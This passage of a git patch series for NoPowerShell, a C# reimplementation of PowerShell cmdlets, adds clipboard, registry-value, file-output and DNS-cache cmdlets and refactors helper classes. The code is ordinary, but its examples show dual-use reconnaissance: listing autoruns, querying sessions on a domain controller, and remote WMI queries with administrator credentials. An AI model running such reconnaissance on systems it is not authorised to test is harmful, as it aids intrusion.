local machine", + new List() + { + "Get-NetTCPConnection", + "netstat" + } + ), + new ExampleEntry("Show TCP connections on a remote machine", "Get-NetTCPConnection -ComputerName MyServer"), + }; + } + } + } +} diff --git a/Source/NoPowerShell/HelperClasses/LDAPHelper.cs b/Source/NoPowerShell/HelperClasses/LDAPHelper.cs index ffd1087..17eb3e4 100644 --- a/Source/NoPowerShell/HelperClasses/LDAPHelper.cs +++ b/Source/NoPowerShell/HelperClasses/LDAPHelper.cs @@ -30,10 +30,17 @@ public static CommandResult QueryLDAP(string searchBase, SearchScope scope, stri // Compile LDAP connection string string ldap = "LDAP://"; - if(!string.IsNullOrEmpty(server)) + bool hasServer = !string.IsNullOrEmpty(server); + bool hasSearchBase = !string.IsNullOrEmpty(searchBase); + if (hasServer) + { ldap += server; - if (!string.IsNullOrEmpty(searchBase)) - ldap += "/" + searchBase; + + if (hasSearchBase) + ldap += "/" + searchBase; + } + else if (hasSearchBase) + ldap += searchBase; if (ldap == "LDAP://") ldap = string.Empty; @@ -114,6 +121,7 @@ public static CommandResult QueryLDAP(string searchBase, SearchScope scope, stri case "lastlogontimestamp": case "badpasswordtime": case "pwdlastset": + case "PasswordLastSet": DateTime lastlogon = DateTime.FromFileTime((long)objArray[0]); foundRecord[propertyKey] = lastlogon.ToString(); continue; From d8504ecbec151e3555243123811a610e331c590f Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Thu, 24 Dec 2020 11:25:52 +0100 Subject: [PATCH 15/23] Three new cmdlets + some refactoring * Added Get-ItemPropertyValue cmdlet * Added Out-File cmdlet * Added Write-Output cmdlet * Refactored some registry-related code --- .../Management/GetItemPropertyCommand.cs | 40 +---- .../Management/GetItemPropertyValueCommand.cs | 143 ++++++++++++++++++ .../Commands/Utility/OutFileCommand.cs | 88 +++++++++++ .../Commands/Utility/WriteOutputCommand.cs | 75 +++++++++ .../HelperClasses/RegistryHelper.cs | 48 ++++++ .../HelperClasses/ResultPrinter.cs | 7 +- Source/NoPowerShell/NoPowerShell.csproj | 10 +- 7 files changed, 374 insertions(+), 37 deletions(-) create mode 100644 Source/NoPowerShell/Commands/Management/GetItemPropertyValueCommand.cs create mode 100644 Source/NoPowerShell/Commands/Utility/OutFileCommand.cs create mode 100644 Source/NoPowerShell/Commands/Utility/WriteOutputCommand.cs create mode 100644 Source/NoPowerShell/HelperClasses/RegistryHelper.cs diff --git a/Source/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs b/Source/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs index ba783b0..3122e10 100644 --- a/Source/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs +++ b/Source/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs @@ -28,15 +28,14 @@ public override CommandResult Execute(CommandResult pipeIn) CaseInsensitiveList attributeNames = null; if (!string.IsNullOrEmpty(name)) attributeNames = new CaseInsensitiveList(name.Split(',')); - string checkPath = path.ToUpperInvariant(); // Registry: // HKLM:\ // HKCU:\ // HKCR:\ // HKU:\ - if (checkPath.StartsWith("HKLM:") || checkPath.StartsWith("HKCU:") || checkPath.StartsWith("HKCR:") || checkPath.StartsWith("HKU:")) - _results = BrowseRegistry(path, includeHidden, attributeNames); + if (RegistryHelper.IsRegistryPath(path)) + _results = BrowseRegistry(path, attributeNames); // Filesystem: // \ @@ -48,38 +47,11 @@ public override CommandResult Execute(CommandResult pipeIn) return _results; } - private CommandResult BrowseRegistry(string path, bool includeHidden, CaseInsensitiveList attributeNames) + private CommandResult BrowseRegistry(string path, CaseInsensitiveList attributeNames) { - RegistryKey root = null; - string newPath = string.Empty; - path = path.ToUpperInvariant(); - if (path.StartsWith("HKLM:")) - { - root = Registry.LocalMachine; - newPath = path.Replace("HKLM:", string.Empty); - } - else if (path.StartsWith("HKCU:")) - { - root = Registry.CurrentUser; - newPath = path.Replace("HKCU:", string.Empty); - } - else if (path.StartsWith("HKCR:")) - { - root = Registry.ClassesRoot; - newPath = path.Replace("HKCR:", string.Empty); - } - else if (path.StartsWith("HKU:")) - { - root = Registry.Users; - newPath = path.Replace("HKU:", string.Empty); - } - else - throw new NoPowerShellException("Unknown registry path: \"{0}\"", path); - - if (newPath.StartsWith(@"\")) - newPath = newPath.Substring(1); + RegistryKey root = RegistryHelper.GetRoot(ref path); - RegistryKey key = root.OpenSubKey(newPath); + RegistryKey key = root.OpenSubKey(path); foreach (string valueName in key.GetValueNames()) { string valueKind = key.GetValueKind(valueName).ToString(); @@ -132,7 +104,7 @@ private CommandResult BrowseRegistry(string path, bool includeHidden, CaseInsens { return new ExampleEntries() { - new ExampleEntry("List autoruns in the registry", "Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run | ft") + new ExampleEntry("List autoruns in the registry", @"Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run | ft") }; } } diff --git a/Source/NoPowerShell/Commands/Management/GetItemPropertyValueCommand.cs b/Source/NoPowerShell/Commands/Management/GetItemPropertyValueCommand.cs new file mode 100644 index 0000000..3572db6 --- /dev/null +++ b/Source/NoPowerShell/Commands/Management/GetItemPropertyValueCommand.cs @@ -0,0 +1,143 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using Microsoft.Win32; +using System.Collections.Generic; +using System.Text; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands.Management +{ + public class GetItemPropertyValueCommand : PSCommand + { + public GetItemPropertyValueCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain parameters + string path = _arguments.Get("Path").Value; + string name = _arguments.Get("Name").Value; + CaseInsensitiveList attributeNames = null; + if (!string.IsNullOrEmpty(name)) + attributeNames = new CaseInsensitiveList(name.Split(',')); + + // Registry: + // HKLM:\ + // HKCU:\ + // HKCR:\ + // HKU:\ + if (RegistryHelper.IsRegistryPath(path)) + _results = BrowseRegistry(path, attributeNames); + + // Filesystem: + // \ + // ..\ + // D:\ + else // TODO + throw new NoPowerShellException("At this moment Get-ItemPropertyValue only supports registry."); + + return _results; + } + + private CommandResult BrowseRegistry(string path, CaseInsensitiveList attributeNames) + { + RegistryKey root = RegistryHelper.GetRoot(ref path); + + RegistryKey key = root.OpenSubKey(path); + foreach (string attr in attributeNames) + { + object value = key.GetValue(attr); + RegistryValueKind kind = key.GetValueKind(attr); + + string strValue; + switch (kind) + { + case RegistryValueKind.DWord: + strValue = Convert.ToInt32(value).ToString(); + break; + case RegistryValueKind.QWord: + strValue = Convert.ToInt64(value).ToString(); + break; + case RegistryValueKind.MultiString: + strValue = string.Join(";", (string[])value); + break; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + strValue = value.ToString(); + break; + case RegistryValueKind.Binary: + byte[] bValue = (byte[])value; + _results.Add( + new ResultRecord() + { + { "Value", System.Text.Encoding.ASCII.GetString(bValue) }, + { "Hex", BitConverter.ToString(bValue).Replace('-', ' ') }, + { "Base64", Convert.ToBase64String(bValue) } + } + ); + continue; + default: + strValue = value.ToString(); + break; + } + + _results.Add( + new ResultRecord() + { + { "Value", strValue } + } + ); + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-ItemPropertyValue", "gpv" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Path", false), + new StringArgument("Name", false) + }; + } + } + + public static new string Synopsis + { + get { return "Gets the value for one or more properties of a specified item."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry + ( + "Show current user's PATH variable", + new List() + { + @"Get-ItemPropertyValue -Path HKCU:\Environment -Name Path", + @"gpv HKCU:\Environment Path" + } + ) + }; + } + } + } +} diff --git a/Source/NoPowerShell/Commands/Utility/OutFileCommand.cs b/Source/NoPowerShell/Commands/Utility/OutFileCommand.cs new file mode 100644 index 0000000..687efff --- /dev/null +++ b/Source/NoPowerShell/Commands/Utility/OutFileCommand.cs @@ -0,0 +1,88 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System.Collections.Generic; +using System.IO; +using System.Text; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class OutFileCommand : PSCommand + { + public OutFileCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string filePath = _arguments.Get("FilePath").Value; + string encoding = _arguments.Get("Encoding").Value; + + Encoding encodingType = Encoding.GetEncoding(encoding); + + if (pipeIn == null) + return _results; + + List lines = new List(pipeIn.Count); + foreach(ResultRecord r in pipeIn) + { + string[] arr = new string[r.Values.Count]; + r.Values.CopyTo(arr, 0); + string outline = string.Join(" | ", arr); + lines.Add(outline); + } + + File.WriteAllLines(filePath, lines.ToArray(), encodingType); + + // Empty result because it is written to a file + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Out-File" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("FilePath", false), + new StringArgument("Encoding", "UTF-8") + }; + } + } + + public static new string Synopsis + { + get { return "Sends output to a file."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry("Echo string to the console", "echo \"Hello Console!\""), + new ExampleEntry + ( + "Create file hello.txt on the C: drive containing the \"Hello World!\" ASCII string", + new List() + { + @"Write-Output ""Hello World!"" | Out-File -Encoding ASCII C:\hello.txt", + @"echo ""Hello World!"" | Out-File -Encoding ASCII C:\hello.txt" + } + ) + }; + } + } + } +} diff --git a/Source/NoPowerShell/Commands/Utility/WriteOutputCommand.cs b/Source/NoPowerShell/Commands/Utility/WriteOutputCommand.cs new file mode 100644 index 0000000..6b280bd --- /dev/null +++ b/Source/NoPowerShell/Commands/Utility/WriteOutputCommand.cs @@ -0,0 +1,75 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using System.Collections.Generic; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands.Utility +{ + public class WriteOutputCommand : PSCommand + { + public WriteOutputCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string inputObject = _arguments.Get("InputObject").Value; + + // Push input string in pipe + _results.Add( + new ResultRecord() + { + { string.Empty, inputObject } + } + ); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Write-Output", "echo", "write" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("InputObject", false) + }; + } + } + + public static new string Synopsis + { + get { return "Sends the specified objects to the next command in the pipeline. If the command is the last command in the pipeline, the objects are displayed in the console."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry + ( + "Echo string to the console", + new List() + { + "Write-Output \"Hello World!\"", + "echo \"Hello World!\"" + } + ) + }; + } + } + } +} diff --git a/Source/NoPowerShell/HelperClasses/RegistryHelper.cs b/Source/NoPowerShell/HelperClasses/RegistryHelper.cs new file mode 100644 index 0000000..7a57b0f --- /dev/null +++ b/Source/NoPowerShell/HelperClasses/RegistryHelper.cs @@ -0,0 +1,48 @@ +using Microsoft.Win32; + +namespace NoPowerShell.HelperClasses +{ + class RegistryHelper + { + public static RegistryKey GetRoot(ref string path) + { + RegistryKey root = null; + + path = path.ToUpperInvariant(); + if (path.StartsWith("HKLM:")) + { + root = Registry.LocalMachine; + path = path.Replace("HKLM:", string.Empty); + } + else if (path.StartsWith("HKCU:")) + { + root = Registry.CurrentUser; + path = path.Replace("HKCU:", string.Empty); + } + else if (path.StartsWith("HKCR:")) + { + root = Registry.ClassesRoot; + path = path.Replace("HKCR:", string.Empty); + } + else if (path.StartsWith("HKU:")) + { + root = Registry.Users; + path = path.Replace("HKU:", string.Empty); + } + else + throw new NoPowerShellException("Unknown registry path: \"{0}\"", path); + + if (path.StartsWith(@"\")) + path = path.Substring(1); + + return root; + } + + public static bool IsRegistryPath(string path) + { + string checkPath = path.ToUpperInvariant(); + + return checkPath.StartsWith("HKLM:") || checkPath.StartsWith("HKCU:") || checkPath.StartsWith("HKCR:") || checkPath.StartsWith("HKU:"); + } + } +} diff --git a/Source/NoPowerShell/HelperClasses/ResultPrinter.cs b/Source/NoPowerShell/HelperClasses/ResultPrinter.cs index bb5675d..9500345 100644 --- a/Source/NoPowerShell/HelperClasses/ResultPrinter.cs +++ b/Source/NoPowerShell/HelperClasses/ResultPrinter.cs @@ -88,7 +88,9 @@ public static void FormatTable(CommandResult results) foreach (string column in columns.Keys) { currentCol++; - string value = row[column.Trim()]; + string value = null; + if (row.ContainsKey(column.Trim())) + value = row[column.Trim()]; if (value == null) value = string.Empty; @@ -149,6 +151,9 @@ private static Dictionary CalcColumnWidths(CommandResult results) // Iterate over columns of reach result foreach (string key in columnNames) { + if (!result.ContainsKey(key)) + continue; + string value = result[key]; if (value == null) continue; diff --git a/Source/NoPowerShell/NoPowerShell.csproj b/Source/NoPowerShell/NoPowerShell.csproj index 921c71c..1e1d028 100644 --- a/Source/NoPowerShell/NoPowerShell.csproj +++ b/Source/NoPowerShell/NoPowerShell.csproj @@ -91,10 +91,11 @@ - + - + + @@ -104,6 +105,7 @@ + @@ -115,6 +117,7 @@ + @@ -132,6 +135,8 @@ + + @@ -140,6 +145,7 @@ + From 2181235efd6d3761bd765951cfc9a6f983cd3129 Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Thu, 24 Dec 2020 15:36:42 +0100 Subject: [PATCH 16/23] Renamed qwinsta command + updated namespaces --- ...yWinStationCommand.cs => GetWinStationCommand.cs} | 12 ++++++------ .../Commands/NetTCPIP/GetNetTCPConnectionCommand.cs | 2 +- .../NoPowerShell/Commands/Utility/OutFileCommand.cs | 2 +- Source/NoPowerShell/NoPowerShell.csproj | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) rename Source/NoPowerShell/Commands/Additional/{QueryWinStationCommand.cs => GetWinStationCommand.cs} (96%) diff --git a/Source/NoPowerShell/Commands/Additional/QueryWinStationCommand.cs b/Source/NoPowerShell/Commands/Additional/GetWinStationCommand.cs similarity index 96% rename from Source/NoPowerShell/Commands/Additional/QueryWinStationCommand.cs rename to Source/NoPowerShell/Commands/Additional/GetWinStationCommand.cs index 6c7a766..bcd5e26 100644 --- a/Source/NoPowerShell/Commands/Additional/QueryWinStationCommand.cs +++ b/Source/NoPowerShell/Commands/Additional/GetWinStationCommand.cs @@ -11,11 +11,11 @@ License: BSD 3-Clause */ -namespace NoPowerShell.Commands +namespace NoPowerShell.Commands.Additional { - public class QueryWinStationCommand : PSCommand + public class GetWinStationCommand : PSCommand { - public QueryWinStationCommand(string[] userArguments) : base(userArguments, SupportedArguments) + public GetWinStationCommand(string[] userArguments) : base(userArguments, SupportedArguments) { } @@ -90,7 +90,7 @@ private static ResultRecord CompileResultRecord(string sessionname, string domai public static new CaseInsensitiveList Aliases { - get { return new CaseInsensitiveList() { "Query-WinStation", "qwinsta", "quser" }; } + get { return new CaseInsensitiveList() { "Get-WinStation", "qwinsta", "quser" }; } } public static new ArgumentList SupportedArguments @@ -115,13 +115,13 @@ private static ResultRecord CompileResultRecord(string sessionname, string domai { return new ExampleEntries() { - new ExampleEntry("Query sessions on local machine", "Query-WinStation"), + new ExampleEntry("Query sessions on local machine", "Get-WinStation"), new ExampleEntry ( "Query sessions on a remote machine", new List() { - "Query-WinStation -Server DC01.domain.local", + "Get-WinStation -Server DC01.domain.local", "qwinsta DC01.domain.local" } ) diff --git a/Source/NoPowerShell/Commands/NetTCPIP/GetNetTCPConnectionCommand.cs b/Source/NoPowerShell/Commands/NetTCPIP/GetNetTCPConnectionCommand.cs index 7932226..b1b1f04 100644 --- a/Source/NoPowerShell/Commands/NetTCPIP/GetNetTCPConnectionCommand.cs +++ b/Source/NoPowerShell/Commands/NetTCPIP/GetNetTCPConnectionCommand.cs @@ -9,7 +9,7 @@ License: BSD 3-Clause */ -namespace NoPowerShell.Commands +namespace NoPowerShell.Commands.NetTCPIP { public class GetNetTCPConnectionCommand : PSCommand { diff --git a/Source/NoPowerShell/Commands/Utility/OutFileCommand.cs b/Source/NoPowerShell/Commands/Utility/OutFileCommand.cs index 687efff..e98fa4d 100644 --- a/Source/NoPowerShell/Commands/Utility/OutFileCommand.cs +++ b/Source/NoPowerShell/Commands/Utility/OutFileCommand.cs @@ -10,7 +10,7 @@ License: BSD 3-Clause */ -namespace NoPowerShell.Commands +namespace NoPowerShell.Commands.Utility { public class OutFileCommand : PSCommand { diff --git a/Source/NoPowerShell/NoPowerShell.csproj b/Source/NoPowerShell/NoPowerShell.csproj index 1e1d028..8d67a1a 100644 --- a/Source/NoPowerShell/NoPowerShell.csproj +++ b/Source/NoPowerShell/NoPowerShell.csproj @@ -95,7 +95,7 @@ - + From 4e36f4cb7e5044183351e962c4750e9265000b3d Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Thu, 24 Dec 2020 17:21:15 +0100 Subject: [PATCH 17/23] Added *-Clipboard cmdlets + Some minor improvements - Added Get-Clipboard and Set-Clipboard cmdlets - Moved pipe to string serialization code to helper class --- .../Management/GetClipboardCommand.cs | 76 ++++++++++++ .../Management/SetClipboardCommand.cs | 117 ++++++++++++++++++ .../Commands/Utility/OutFileCommand.cs | 25 ++-- .../HelperClasses/PipelineHelper.cs | 26 ++++ Source/NoPowerShell/NoPowerShell.csproj | 5 +- Source/NoPowerShell/Program.cs | 1 + 6 files changed, 237 insertions(+), 13 deletions(-) create mode 100644 Source/NoPowerShell/Commands/Management/GetClipboardCommand.cs create mode 100644 Source/NoPowerShell/Commands/Management/SetClipboardCommand.cs create mode 100644 Source/NoPowerShell/HelperClasses/PipelineHelper.cs diff --git a/Source/NoPowerShell/Commands/Management/GetClipboardCommand.cs b/Source/NoPowerShell/Commands/Management/GetClipboardCommand.cs new file mode 100644 index 0000000..ea4917d --- /dev/null +++ b/Source/NoPowerShell/Commands/Management/GetClipboardCommand.cs @@ -0,0 +1,76 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using System.Collections.Generic; +using System.Windows.Forms; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands.Management +{ + public class GetClipboardCommand : PSCommand + { + public GetClipboardCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain cmdlet parameters + //bool showHistory = _arguments.Get("History").Value; + + _results.Add( + new ResultRecord() + { + { "Data", Clipboard.GetText() } + } + ); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-Clipboard", "gcb" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + //new BoolArgument("History") + }; + } + } + + public static new string Synopsis + { + get { return "Gets the current Windows clipboard entry."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry + ( + "Show text contents of clipboard", + new List() + { + "Get-Clipboard", + "gcb" + } + ) + }; + } + } + } +} diff --git a/Source/NoPowerShell/Commands/Management/SetClipboardCommand.cs b/Source/NoPowerShell/Commands/Management/SetClipboardCommand.cs new file mode 100644 index 0000000..eccd84e --- /dev/null +++ b/Source/NoPowerShell/Commands/Management/SetClipboardCommand.cs @@ -0,0 +1,117 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using System.Collections.Generic; +using System.Windows.Forms; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands.Management +{ + public class SetClipboardCommand : PSCommand + { + public SetClipboardCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain cmdlet parameters + bool append = _arguments.Get("Append").Value; + string value = _arguments.Get("Value").Value; + bool passthru = _arguments.Get("PassThru").Value; + + string contents = GetContents(pipeIn, value); + + if (append) + { + string currentText = Clipboard.GetText(); + currentText += contents; + contents = currentText; + } + + if (string.IsNullOrEmpty(contents)) + Clipboard.Clear(); + else + Clipboard.SetText(contents); + + // Set clipboard contents as result if the -PassThru parameter is provided + // Otherwise simply the empty _results set will be returned + if (passthru) + { + _results = new CommandResult(1) + { + new ResultRecord(1) + { + { "Data", contents } + } + }; + } + + return _results; + } + + private string GetContents(CommandResult pipeIn, string value) + { + string pipeAsString = PipelineHelper.PipeToString(pipeIn); + + if (!string.IsNullOrEmpty(pipeAsString)) + { + if (!string.IsNullOrEmpty(value)) + throw new NoPowerShellException("Either use pipeline input or parameter input, not both"); + + return pipeAsString; + } + else + return value; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Set-Clipboard", "scb" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Value"), + new BoolArgument("Append", false), + new BoolArgument("PassThru", false) + }; + } + } + + public static new string Synopsis + { + get { return "Sets the current Windows clipboard entry."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry + ( + "Put string on clipboard", + new List() + { + "Set-Clipboard -Value \"You have been PWNED!\"", + "scb \"You have been PWNED!\"" + } + ), + new ExampleEntry("Clear the clipboard", "Set-Clipboard"), + new ExampleEntry("Place output of command on clipboard", "Get-Process | Set-Clipboard") + }; + } + } + } +} diff --git a/Source/NoPowerShell/Commands/Utility/OutFileCommand.cs b/Source/NoPowerShell/Commands/Utility/OutFileCommand.cs index e98fa4d..4702bc8 100644 --- a/Source/NoPowerShell/Commands/Utility/OutFileCommand.cs +++ b/Source/NoPowerShell/Commands/Utility/OutFileCommand.cs @@ -22,24 +22,24 @@ public override CommandResult Execute(CommandResult pipeIn) { string filePath = _arguments.Get("FilePath").Value; string encoding = _arguments.Get("Encoding").Value; + bool passthru = _arguments.Get("PassThru").Value; Encoding encodingType = Encoding.GetEncoding(encoding); - if (pipeIn == null) - return _results; + // Serialize object to string + string pipeAsString = PipelineHelper.PipeToString(pipeIn); - List lines = new List(pipeIn.Count); - foreach(ResultRecord r in pipeIn) - { - string[] arr = new string[r.Values.Count]; - r.Values.CopyTo(arr, 0); - string outline = string.Join(" | ", arr); - lines.Add(outline); - } + // Ignore if empty + if (string.IsNullOrEmpty(pipeAsString)) + return _results; - File.WriteAllLines(filePath, lines.ToArray(), encodingType); + // Store in file + File.WriteAllText(filePath, pipeAsString, encodingType); // Empty result because it is written to a file + if (passthru) + _results = pipeIn; + return _results; } @@ -55,7 +55,8 @@ public override CommandResult Execute(CommandResult pipeIn) return new ArgumentList() { new StringArgument("FilePath", false), - new StringArgument("Encoding", "UTF-8") + new StringArgument("Encoding", "UTF-8"), + new BoolArgument("PassThru", false) }; } } diff --git a/Source/NoPowerShell/HelperClasses/PipelineHelper.cs b/Source/NoPowerShell/HelperClasses/PipelineHelper.cs new file mode 100644 index 0000000..57de0d2 --- /dev/null +++ b/Source/NoPowerShell/HelperClasses/PipelineHelper.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace NoPowerShell.HelperClasses +{ + class PipelineHelper + { + public static string PipeToString(CommandResult pipeIn) + { + if (pipeIn == null) + return string.Empty; + + List lines = new List(pipeIn.Count); + foreach (ResultRecord r in pipeIn) + { + string[] arr = new string[r.Values.Count]; + r.Values.CopyTo(arr, 0); + string outline = string.Join(" | ", arr); + lines.Add(outline); + } + + return string.Join(System.Environment.NewLine, lines.ToArray()); + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell.csproj b/Source/NoPowerShell/NoPowerShell.csproj index 8d67a1a..b4786f1 100644 --- a/Source/NoPowerShell/NoPowerShell.csproj +++ b/Source/NoPowerShell/NoPowerShell.csproj @@ -77,7 +77,7 @@ - + @@ -98,6 +98,8 @@ + + @@ -140,6 +142,7 @@ + diff --git a/Source/NoPowerShell/Program.cs b/Source/NoPowerShell/Program.cs index 4d3ca24..b6f439f 100644 --- a/Source/NoPowerShell/Program.cs +++ b/Source/NoPowerShell/Program.cs @@ -25,6 +25,7 @@ partial class Program private static readonly string HELP = " Type 'help' to list all available cmdlets."; #endif + [STAThread] // Required for the *-Clipboard cmdlets static int Main(string[] args) { // Using reflection determine available commands From b49617a9358bd40a3bbeaf589c836d346dd715bf Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Fri, 25 Dec 2020 14:03:26 +0100 Subject: [PATCH 18/23] Added Get-DnsClientCache cmdlet + some refactoring - Added Get-DnsClientCache cmdlet - Moved DNS code to DNSHelper class - Added copyright text to some .cs files --- .../DnsClient/GetDnsClientCacheCommand.cs | 105 ++ .../DnsClient/ResolveDnsNameCommand.cs | 962 +---------------- .../NoPowerShell/HelperClasses/DNSHelper.cs | 967 ++++++++++++++++++ .../NoPowerShell/HelperClasses/Exceptions.cs | 6 + .../NoPowerShell/HelperClasses/HelpEntries.cs | 6 + .../NoPowerShell/HelperClasses/LDAPHelper.cs | 6 + .../HelperClasses/PipelineHelper.cs | 6 + .../HelperClasses/ProviderHelper.cs | 6 + .../HelperClasses/RegistryHelper.cs | 6 + Source/NoPowerShell/NoPowerShell.csproj | 2 + 10 files changed, 1112 insertions(+), 960 deletions(-) create mode 100644 Source/NoPowerShell/Commands/DnsClient/GetDnsClientCacheCommand.cs create mode 100644 Source/NoPowerShell/HelperClasses/DNSHelper.cs diff --git a/Source/NoPowerShell/Commands/DnsClient/GetDnsClientCacheCommand.cs b/Source/NoPowerShell/Commands/DnsClient/GetDnsClientCacheCommand.cs new file mode 100644 index 0000000..e0fddb3 --- /dev/null +++ b/Source/NoPowerShell/Commands/DnsClient/GetDnsClientCacheCommand.cs @@ -0,0 +1,105 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using System.Collections.Generic; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands.Management +{ + public class GetDnsClientCacheCommand : PSCommand + { + public GetDnsClientCacheCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Collect parameters for remote execution + base.Execute(); + + CommandResult dnsClientCache = WmiHelper.ExecuteWmiQuery("root/StandardCimv2", "Select Entry, Name, Type, Status, Section, TimeToLive, DataLength, Data From MSFT_DNSClientCache", computername, username, password); + foreach (ResultRecord entry in dnsClientCache) + { + DnsHelper.DnsRecordTypes recordType = (DnsHelper.DnsRecordTypes)Convert.ToInt32(entry["Type"]); + int status = Convert.ToInt32(entry["Status"]); + string strStatus; + switch(status) + { + case 0: + strStatus = "Success"; + break; + case 9003: + strStatus = "NotExist"; + break; + case 9701: + strStatus = "NoRecords"; + break; + default: + strStatus = "Unknown"; + break; + } + + _results.Add( + new ResultRecord() + { + { "Entry", entry["Entry"] }, + { "RecordName", entry["Name"] }, + { "RecordType", recordType.ToString().Replace("DNS_TYPE_","") }, + { "Status", strStatus }, + { "Section", entry["Section"] }, + { "TimeToLive", entry["TimeToLive"] }, + { "DataLength", entry["DataLength"] }, + { "Data", entry["Data"] } + } + ); + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-DnsClientCache" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + }; + } + } + + public static new string Synopsis + { + get { return "Retrieves the contents of the DNS client cache."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry("List cached DNS entries on the local computer", "Get-DnsClientCache"), + new ExampleEntry + ( + "List cached DNS entries from a remote computer using WMI", + new List() + { + "Get-DnsClientCache -ComputerName MyServer -Username Administrator -Password Pa$$w0rd", + "Get-DnsClientCache -ComputerName MyServer" + } + ) + }; + } + } + } +} diff --git a/Source/NoPowerShell/Commands/DnsClient/ResolveDnsNameCommand.cs b/Source/NoPowerShell/Commands/DnsClient/ResolveDnsNameCommand.cs index 37a1f61..b6ce59e 100644 --- a/Source/NoPowerShell/Commands/DnsClient/ResolveDnsNameCommand.cs +++ b/Source/NoPowerShell/Commands/DnsClient/ResolveDnsNameCommand.cs @@ -1,12 +1,6 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; -using System; -using System.Net; -using System.Collections; using System.Collections.Generic; -using System.ComponentModel; -using System.Runtime.InteropServices; -using System.Text; /* Author: @bitsadmin @@ -28,7 +22,7 @@ public override CommandResult Execute(CommandResult pipeIn) string query = _arguments.Get("Name").Value; string type = _arguments.Get("Type").Value; - _results = Dns.GetRecords(query, type); + _results = DnsHelper.GetRecords(query, type); // Determine columns in results List columns = new List(); @@ -105,956 +99,4 @@ public override CommandResult Execute(CommandResult pipeIn) } } } - - // - Main source: https://www.pinvoke.net/default.aspx/dnsapi.DnsQuery - // - Struct DNS_RECORD: https://github.com/MichaCo/DnsClient.NET/blob/dev/samples/MiniDig/Interop.DnsQuery.cs - // - Because included DNS_RECORD didn't work on x64 - // - Source for switch/case statement: https://www.codeproject.com/Articles/21246/DNS-Query-MFC-based-Application - public class Dns - { - public static readonly Hashtable RecordTypes = new Hashtable(StringComparer.InvariantCultureIgnoreCase) - { - { "A", DnsRecordTypes.DNS_TYPE_A }, - { "NS", DnsRecordTypes.DNS_TYPE_NS }, - { "MD", DnsRecordTypes.DNS_TYPE_MD }, - { "MF", DnsRecordTypes.DNS_TYPE_MF }, - { "CNAME", DnsRecordTypes.DNS_TYPE_CNAME }, - { "SOA", 